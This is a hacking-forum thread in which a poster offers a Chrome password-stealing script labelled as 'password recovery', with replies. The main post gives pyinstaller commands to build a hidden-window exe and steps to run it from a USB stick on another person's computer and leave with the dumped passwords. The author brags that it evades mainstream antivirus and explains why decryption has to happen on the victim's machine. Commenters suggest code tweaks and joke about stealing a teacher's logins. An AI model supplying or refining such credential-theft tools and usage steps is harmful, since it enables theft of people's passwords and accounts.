[05317832892]

Fixed and updated my old password recovery script and made some changes, it was trying to connect to the original database and so it had to wait for chrome to close to connect to the database and recover passwords, this new version makes a copy of the table, extracts info, decrypts and dumps.

Application?

1) Compile to single exe bcoz dependencies are for noobs

Code

pyinstaller -F -w recover.py

or

Code

pyinstaller -F -w -i myicon.ico recover.py

^If you want an icon, please note when u change the icon it bugs because windows caches the previous one, move to a different folder to fix this

2) Put on USB

3) Plug into computer

4) Execute recover.exe

5) Remove USB, now containing dumped passwords

6) Run for your life and if they catch you, eat the USB to conceal evidence, it will come out 6-8 hours later with all the passwords hopefully intact

Source Code:
Spoiler (Click to View)



Scan:
Spoiler (Click to View)



ToS:

• I ain't responsible for anything
  
• Don't be idiot and scan on virustotal, it's not fun for anyone
  

[s‌hane]

Thanks for the tutorial man, will definitely use this.

[JuicyProgramming]

Seems interesting, planning on adding more browsers?

[HFDone]

this will save you the w mode code
def logit(content):
with open("dump.txt", "a+") as f:
f.write(content)

[05317832892]

Seems interesting, planning on adding more browsers?

Maybe in the future.

this will save you the w mode code
def logit(content):
with open("dump.txt", "a+") as f:
f.write(content)

Nice, I'll contemplate this.

[xthanos]

Why did you scan a python script for malware haha

[hunter24957]

Why did you scan a python script for malware haha

I was thinking the same thing 🤣

[(╯°□°）╯︵ ┻━━┻]

Code

if url != "" and user_name != "" and pwd[1].decode('utf-8') != "":

Can be changed to

Code

if url and user_name and pwd[1].decode('utf-8'):

[redstone]

I have no idea how the Chrome login data is stored, and I haven't gotten home yet to take an actual look at the script, only skim through the code. Perhaps this is a dumb question, but why not steal the data while it is encrypted, that way when you try to steal your 7th grade teacher's login data, that way there is no possible log evidence of the actual login data being stolen.

[HFDone]

Code

if url != "" and user_name != "" and pwd[1].decode('utf-8') != "":

Can be changed to

Code

if url and user_name and pwd[1].decode('utf-8'):

cuz the pass is the most importent
if pwd: ...

[05317832892]

Why did you scan a python script for malware haha

I was thinking the same thing 🤣

Scanned the compiled exe. It's flagged my some private labs when scanned on virustotal but it's FUD to the mainstream AVs as shown in the maj scan.

Code

*snip*

Can be changed to

Code

*snip*

Thanks, I'll update when I'm on my PC.

I have no idea how the Chrome login data is stored, and I haven't gotten home yet to take an actual look at the script, only skim through the code. Perhaps this is a dumb question, but why not steal the data while it is encrypted, that way when you try to steal your 7th grade teacher's login data, that way there is no possible log evidence of the actual login data being stolen.

Stored in an SQLite3 table with the passwords being encrypted with windows built in data protection. It's essentially a triple DES with the key somewhat related to the machine HWID.

Basically the passwords can only be decrypted on the machine they are encrypted on because the algorithm is slightly different on every windows computer, thus we have to decrypt the passwords on the machine that they were encrypted on. Stolen encrypted passwords are useless unless you have access to the machine they were encrypted on. This script steals and decrypts them all in one go.

cuz the pass is the most importent
if pwd: ...

No, his solution works fine, it's just a simple logic test to ensure none of the fields are blank.

[.::TroJan::.]

Works great thank you so much :)

[FrogSquad4]

mac version? I noticed it had an error with the win32crypt

[05317832892]

mac version? I noticed it had an error with the win32crypt

Mac does not have WINDOWS32crypt lol.

I don't know how chrome on Mac secures passwords.

[FrogSquad4]

Mac does not have WINDOWS32crypt lol.

I don't know how chrome on Mac secures passwords.

No, I meat IS there a mac version. I knew macs don't have windows32crypt.